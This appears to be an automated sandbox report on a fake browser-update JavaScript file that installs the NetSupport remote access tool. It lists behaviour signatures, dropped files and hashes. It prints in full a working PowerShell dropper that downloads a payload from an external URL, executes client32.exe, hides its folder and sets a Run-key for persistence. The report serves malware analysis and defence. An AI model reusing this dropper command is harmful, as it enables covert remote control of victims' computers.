Analysis

  • max time kernel
    1166s
  • max time network
    1192s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/01/2024, 17:44

General

  • Target
    Update_browser_17.6436.js
  • Size 434KB
  • Sample240129-wbkcjaghbl
  • SHA256 41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://ghostcitygames.com/data.php?10037

  • exe.dropper

    https://ghostcitygames.com/data.php?10037

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD='https://ghostcitygames.com/data.php?10037';$BuATdCvSzZ=(New-Object System.Net.WebClient).DownloadString($YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD);$nHkEqkTJwNaPgGOsWZuUSkyXGs=[System.Convert]::FromBase64String($BuATdCvSzZ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqRKxBuNYN=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqRKxBuNYN -PathType Container)) { New-Item -Path $KqRKxBuNYN -ItemType Directory };$p=Join-Path $KqRKxBuNYN 'lol.zip';[System.IO.File]::WriteAllBytes($p,$nHkEqkTJwNaPgGOsWZuUSkyXGs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqRKxBuNYN)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqRKxBuNYN 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqRKxBuNYN -Force; $FSDFSSD.attributes='Hidden';$s=$KqRKxBuNYN+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1028
      • C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4948

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_gx5ryzso.thn.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gx5ryzso.thn.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        HTCTL32.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL
        • Size 127KB
        • SHA256 32f47f8e13761d6bf754b3f71930bb501bb960f9f978effed9f5f57734083e1d
        • MD5 SHA1 SHA512 SSDEEP

        HTCTL32.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL
        • Size 106KB
        • SHA256 34b55ccbbdc5a100879f14e3b206fb7e0f13367c68b683fe16b866d3135ed2d6
        • MD5 SHA1 SHA512 SSDEEP

        MSVCR100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\MSVCR100.dll
        • Size 244KB
        • SHA256 6a85adf94a118605eb0effff8aa10479484b715576c5e398f7d157f63267349d
        • MD5 SHA1 SHA512 SSDEEP

        NSM.LIC

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\NSM.LIC
        • Size 258B
        • SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
        • MD5 SHA1 SHA512

        PCICHEK.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\PCICHEK.DLL
        • Size 18KB
        • SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
        • MD5 SHA1 SHA512 SSDEEP

        PCICL32.DLL

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.DLL
        • Size 242KB
        • SHA256 270dbb5709b3683328454f2ceec0a4701e762a68aa72ebad32bd8c457d8b0f1f
        • MD5 SHA1 SHA512 SSDEEP

        PCICL32.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.dll
        • Size 188KB
        • SHA256 e4d11778441f66539763a940832eacd21b33376b9e4694849f406023b00ca6c3
        • MD5 SHA1 SHA512 SSDEEP

        client32.exe

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
        • Size 101KB
        • SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
        • MD5 SHA1 SHA512 SSDEEP

        client32.exe

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
        • Size 96KB
        • SHA256 8cd1e5c76a8d56d1475013d86ac679d366dfaad49be5d2e09a4b928072d09729
        • MD5 SHA1 SHA512 SSDEEP

        client32.ini

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\client32.ini
        • Size 701B
        • SHA256 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc
        • MD5 SHA1 SHA512

        msvcr100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll
        • Size 136KB
        • SHA256 4259aec4f6d6a6651542802febae87b36a531088bde916d492719963e52c2df0
        • MD5 SHA1 SHA512 SSDEEP

        msvcr100.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll
        • Size 131KB
        • SHA256 a6d216f06df979a52b4c301ca55bce9c926f47f0bdfa1382a18a22279ce54885
        • MD5 SHA1 SHA512 SSDEEP

        pcicapi.dll

        • Path C:\Users\Admin\AppData\Roaming\DIVX735\pcicapi.dll
        • Size 32KB
        • SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
        • MD5 SHA1 SHA512 SSDEEP

        memory/1028-9-0x00000290DC210000-0x00000290DC232000-memory.dmp

        memory/1028-82-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp

        memory/1028-14-0x00000290F47E0000-0x00000290F47EA000-memory.dmp

        memory/1028-15-0x00000290F4810000-0x00000290F4822000-memory.dmp

        memory/1028-12-0x00000290DC240000-0x00000290DC250000-memory.dmp

        memory/1028-11-0x00000290DC240000-0x00000290DC250000-memory.dmp

        memory/1028-10-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp